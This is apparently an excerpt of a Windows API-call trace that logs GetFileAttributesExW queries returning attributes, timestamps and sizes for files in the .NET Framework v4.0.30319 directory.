	[0087.918] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\jsc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f2ff8 | out: lpFileInformation=0x124f2ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8ac4db80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0087.918] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\locale.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\locale.nlp"), fInfoLevelId=0x0, lpFileInformation=0x124f3048 | out: lpFileInformation=0x124f3048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c67d500, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x5c4c4f40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6c67d500, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0x66730)) returned 1
	[0087.918] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f3098 | out: lpFileInformation=0x124f3098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20195d00, ftCreationTime.dwHighDateTime=0x1cac5eb, ftLastAccessTime.dwLowDateTime=0x9ef93520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x20195d00, ftLastWriteTime.dwHighDateTime=0x1cac5eb, nFileSizeHigh=0x0, nFileSizeLow=0x6c6)) returned 1
	[0087.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscordacwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscordacwks.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f30e8 | out: lpFileInformation=0x124f30e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d085be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1348b0)) returned 1
	[0087.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscordbi.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscordbi.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3138 | out: lpFileInformation=0x124f3138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d0d1ea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1096a0)) returned 1
	[0087.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.tlb" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoree.tlb"), fInfoLevelId=0x0, lpFileInformation=0x124f3188 | out: lpFileInformation=0x124f3188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c12b00, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x5d0f8000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9c12b00, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1
	[0087.920] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f31d8 | out: lpFileInformation=0x124f31d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d11e160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x790a0)) returned 1
	[0087.920] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreeis.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreeis.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3228 | out: lpFileInformation=0x124f3228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d1442c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x80a8)) returned 1
	[0087.920] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorlib.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3278 | out: lpFileInformation=0x124f3278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d29af20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x53b8a0)) returned 1
	[0087.921] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.tlb" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorlib.tlb"), fInfoLevelId=0x0, lpFileInformation=0x124f32c8 | out: lpFileInformation=0x124f32c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a90e00, ftCreationTime.dwHighDateTime=0x1cd8fff, ftLastAccessTime.dwLowDateTime=0xcff389a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x17a90e00, ftLastWriteTime.dwHighDateTime=0x1cd8fff, nFileSizeHigh=0x0, nFileSizeLow=0x7ee00)) returned 1
	[0087.922] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorpe.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorpe.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3318 | out: lpFileInformation=0x124f3318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d2e71e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x156a0)) returned 1
	[0087.922] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorpehost.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorpehost.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3368 | out: lpFileInformation=0x124f3368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d30d340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x216b0)) returned 1
	[0087.922] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f33b8 | out: lpFileInformation=0x124f33b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3334a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x612a0)) returned 1
	[0087.923] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsecimpl.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsecimpl.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3408 | out: lpFileInformation=0x124f3408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d359600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x18cb0)) returned 1
	[0087.923] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsn.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsn.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3458 | out: lpFileInformation=0x124f3458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3a58c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x62a0)) returned 1
	[0087.923] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvc.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f34a8 | out: lpFileInformation=0x124f34a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3cba20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x64ca0)) returned 1
	[0087.924] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f34f8 | out: lpFileInformation=0x124f34f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x196b8)) returned 1
	[0087.924] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\netmemorycache.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\netmemorycache.h"), fInfoLevelId=0x0, lpFileInformation=0x124f3548 | out: lpFileInformation=0x124f3548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbe2500, ftCreationTime.dwHighDateTime=0x1ca29a0, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xccbe2500, ftLastWriteTime.dwHighDateTime=0x1ca29a0, nFileSizeHigh=0x0, nFileSizeLow=0x17d)) returned 1
	[0087.924] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\netmemorycache.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\netmemorycache.ini"), fInfoLevelId=0x0, lpFileInformation=0x124f3598 | out: lpFileInformation=0x124f3598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbe2500, ftCreationTime.dwHighDateTime=0x1ca29a0, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xccbe2500, ftLastWriteTime.dwHighDateTime=0x1ca29a0, nFileSizeHigh=0x0, nFileSizeLow=0x508)) returned 1
	[0087.925] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f35e8 | out: lpFileInformation=0x124f35e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d7a9de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22290)) returned 1
	[0087.925] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.log"), fInfoLevelId=0x0, lpFileInformation=0x124f3638 | out: lpFileInformation=0x124f3638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8971c5, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe16ea2a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x881cf1e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x2037f)) returned 1
	[0087.925] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.old.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.old.log"), fInfoLevelId=0x0, lpFileInformation=0x124f3688 | out: lpFileInformation=0x124f3688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8971c5, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7d8971c5, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xb44dc760, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18d4e)) returned 1
	[0087.926] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen_service.log"), fInfoLevelId=0x0, lpFileInformation=0x124f36d8 | out: lpFileInformation=0x124f36d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e28e0c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe1997b60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x77341c60, ftLastWriteTime.dwHighDateTime=0x1d305f3, nFileSizeHigh=0x0, nFileSizeLow=0x988fb)) returned 1
	[0087.926] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.old.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen_service.old.log"), fInfoLevelId=0x0, lpFileInformation=0x124f3728 | out: lpFileInformation=0x124f3728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e28e0c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7e28e0c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc4058580, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x25c)) returned 1
	[0087.926] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3778 | out: lpFileInformation=0x124f3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d998fc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x126a8)) returned 1
	[0087.927] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normalization.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\normalization.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f37c8 | out: lpFileInformation=0x124f37c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5da7d800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x78b8)) returned 1
	[0087.927] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normidna.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\normidna.nlp"), fInfoLevelId=0x0, lpFileInformation=0x124f3818 | out: lpFileInformation=0x124f3818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3be040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce)) returned 1
	[0087.927] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfc.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\normnfc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x124f3868 | out: lpFileInformation=0x124f3868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3be040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xb7e4)) returned 1
	[0087.928] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfd.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\normnfd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x124f38b8 | out: lpFileInformation=0x124f38b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x9e76)) returned 1
	[0087.928] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfkc.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\normnfkc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x124f3908 | out: lpFileInformation=0x124f3908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x108e0)) returned 1
	[0087.929] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\normnfkd.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\normnfkd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x124f3958 | out: lpFileInformation=0x124f3958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cf2900, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8b3e41a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x65cf2900, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0xf116)) returned 1
	[0087.930] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\peverify.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\peverify.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f39a8 | out: lpFileInformation=0x124f39a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5dbd4460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a2a0)) returned 1
	[0087.930] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regasm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f39f8 | out: lpFileInformation=0x124f39f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8b4a2880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0087.930] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f3a48 | out: lpFileInformation=0x124f3a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8b4a2880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1
	[0087.931] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regtlibv12.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regtlibv12.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f3a98 | out: lpFileInformation=0x124f3a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f5dd500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x176a0)) returned 1
	[0087.931] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp"), fInfoLevelId=0x0, lpFileInformation=0x124f3ae8 | out: lpFileInformation=0x124f3ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4760100, ftCreationTime.dwHighDateTime=0x1cd0c51, ftLastAccessTime.dwLowDateTime=0xd14a4fa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd4760100, ftLastWriteTime.dwHighDateTime=0x1cd0c51, nFileSizeHigh=0x0, nFileSizeLow=0x2d1f20)) returned 1
	[0087.932] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sysglobl.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sysglobl.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3b38 | out: lpFileInformation=0x124f3b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x618d3820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x20488)) returned 1
	[0087.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\system.componentmodel.composition.registration.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\system.componentmodel.composition.registration.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3b88 | out: lpFileInformation=0x124f3b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61cb1be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xf578)) returned 1
	[0087.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\vbc.exe"), fInfoLevelId=0x0, lpFileInformation=0x124f3bd8 | out: lpFileInformation=0x124f3bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56e55060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x298290)) returned 1
	[0087.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\vbc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x124f3c28 | out: lpFileInformation=0x124f3c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80ed00, ftCreationTime.dwHighDateTime=0x1cac611, ftLastAccessTime.dwLowDateTime=0x8b880c40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc80ed00, ftLastWriteTime.dwHighDateTime=0x1cac611, nFileSizeHigh=0x0, nFileSizeLow=0xb6)) returned 1
